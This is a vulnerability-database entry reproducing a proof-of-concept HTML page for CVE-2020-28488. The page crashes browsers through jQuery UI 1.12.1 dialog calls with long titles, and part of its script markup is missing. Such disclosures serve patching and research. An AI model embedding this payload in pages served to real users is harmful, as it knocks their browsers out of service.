发布 2021-01-28 漏洞条目

jQuery UI 1.12.1 – Denial of Service (DoS)

Exploit Source

# Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)

# Date: 20 Jan, 2021

# Exploit Author: Rafael Cintra Lopes

# Vendor Homepage: https://jqueryui.com/

# Software Link: https://jqueryui.com/download/

# Version: <= 1.12.1

# CVE : CVE-2020-28488

<!DOCTYPE html>

<head>

<title>DoS - jQuery UI 1.12.1</title>

</head>

<body>

<h2>DoS - jQuery UI 1.12.1</h2>

<div>

<button onclick="exploit()">Exploit</button>

</div>

<p>PoC by Rafael Cintra Lopes</p>

function exploit(){

for (var i = 0; i < 10; i++) {

$("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});

}

</script>

</body>

</html>

相关漏洞条目